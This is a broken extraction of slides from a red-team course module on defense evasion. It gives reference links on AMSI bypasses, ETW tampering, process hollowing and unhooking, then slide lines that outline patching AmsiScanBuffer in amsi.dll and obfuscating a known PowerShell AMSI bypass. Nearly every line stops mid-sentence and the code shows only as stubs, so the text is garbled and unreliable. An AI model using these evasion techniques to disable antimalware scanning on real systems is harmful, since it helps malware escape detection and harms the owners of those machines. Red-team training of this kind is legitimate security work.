https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal

References
AmsiScanBuffer Bypass Part-3
https://rastamouse.me/2018/11/amsiscanbuffer-bypass-part-3/
Red Teamer’s Cookbook: Bring Your Own Interpreter (BYOI)

https://www.blackhillsinfosec.com/red-teamers-cookbook-byoi-bring-your-own-interpreter/
Tampering with Windows Event Tracing: Background, Offense, and Defense

https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-
4be7ac62ac63
Hiding your .NET - ETW

https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/
Hiding your .NET - COMPlus_ETWEnabled

https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/
Red Team Techniques for Evading, Bypassing, and Disabling MS Advanced

Threat Protection and Advanced Threat Analytics
https://github.com/retbandit/BlackHat2017/blob/master/eu-17-Thompson-Red-Team-Techniques-for-Evading-
Bypassing-and-Disabling-MS-Advanced-Threat-Protection-and-Advanced-Threat-Analytics.pptx
References
SYSMON
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
Command-line build with csc.exe

https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/command-line-
building-with-csc-exe
C# AES 256 Bits Encryption Library With Salt

https://www.codeproject.com/Articles/769741/Csharp-AES-bits-Encryption-Library-with-Salt
Process Hollowing
https://github.com/m0n0ph1/Process-Hollowing
Parent PID Spoofing

https://attack.mitre.org/techniques/T1502/
Writing custom backdoor payloads with C#

https://github.com/mvelazc0/defcon27_csharp_workshop

References
Universal Unhooking
https://www.cylance.com/content/dam/cylance/pdfs/white_papers/Universal_Unhooking.pdf
Donut: Injecting .Net Assemblies as shellcode

https://thewover.github.io/Introducing-Donut/
Full DLL Unhooking with C++

https://ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++

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Penetration Testing

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.2

✓ Common defense mechanisms

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.3

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.4

Defense evasion is a crucial skillset every red team

Threat hunters are also continuously developing their skills

Red team operators must perfectly understand how

Some of the techniques presented in this module can be

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.7

Anti Malware Scan Interface (AMSI)

Capabilities for Anti Malware Scan Interface include

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.8

AMSI deeply integrates with several components of Microsoft

AMSI provides the following functions:

• AmsiScanBuffer: Scans a buffer-full of content for

Some examples of AMSI dynamic detection capabilities at

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.13

Having the amsi.dll mapped into the address space of the

By checking the AmsiScanBuffer function from amsi.dll in Ghidra,

The content of this address is “MOV EAX,0x80070057”

The hex opcodes for the previous instruction are “0xB8,

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.18

To perform the patch to the AmsiScanBuffer function the

Performing the patch to the AmsiScanBuffer function can

Use this example in a

In this case, do not

Although the previous AMSI

During the test, the string ”AmsiScanBuffer” was used to

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.24

AmsiScanBuffer address cannot be hardcoded in the

However, ASLR relocates entire executable images as a unit and

Using DLL Export Viewer, the relative addresses of amsi.dll

In DLL Export Viewer, the

Loading the amsi.dll Library

As we can see in the code,

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.28

As shown in DLL Export Viewer,

By loading the DLLGetClassObject

With this techniques, an AMSI

Furthermore, if new signatures

public class Win32 {

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.31

# Retrieves amsi.dll base address

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.32

Another interesting PowerShell AMSI Bypass was published by Matt

This bypass has been flagged and doesn’t work anymore as

By looking at the bypass there are 3 strings that can be at

For the repurposed bypass, we will create a function that

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.36

Now we can base64 encode

Then, 3 variables will be

Now we will replace the strings in the original AMSI Bypass

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.38

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.39

Repurposed AMSI Bypass code:

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.40

Another method that can be used to dynamically locate the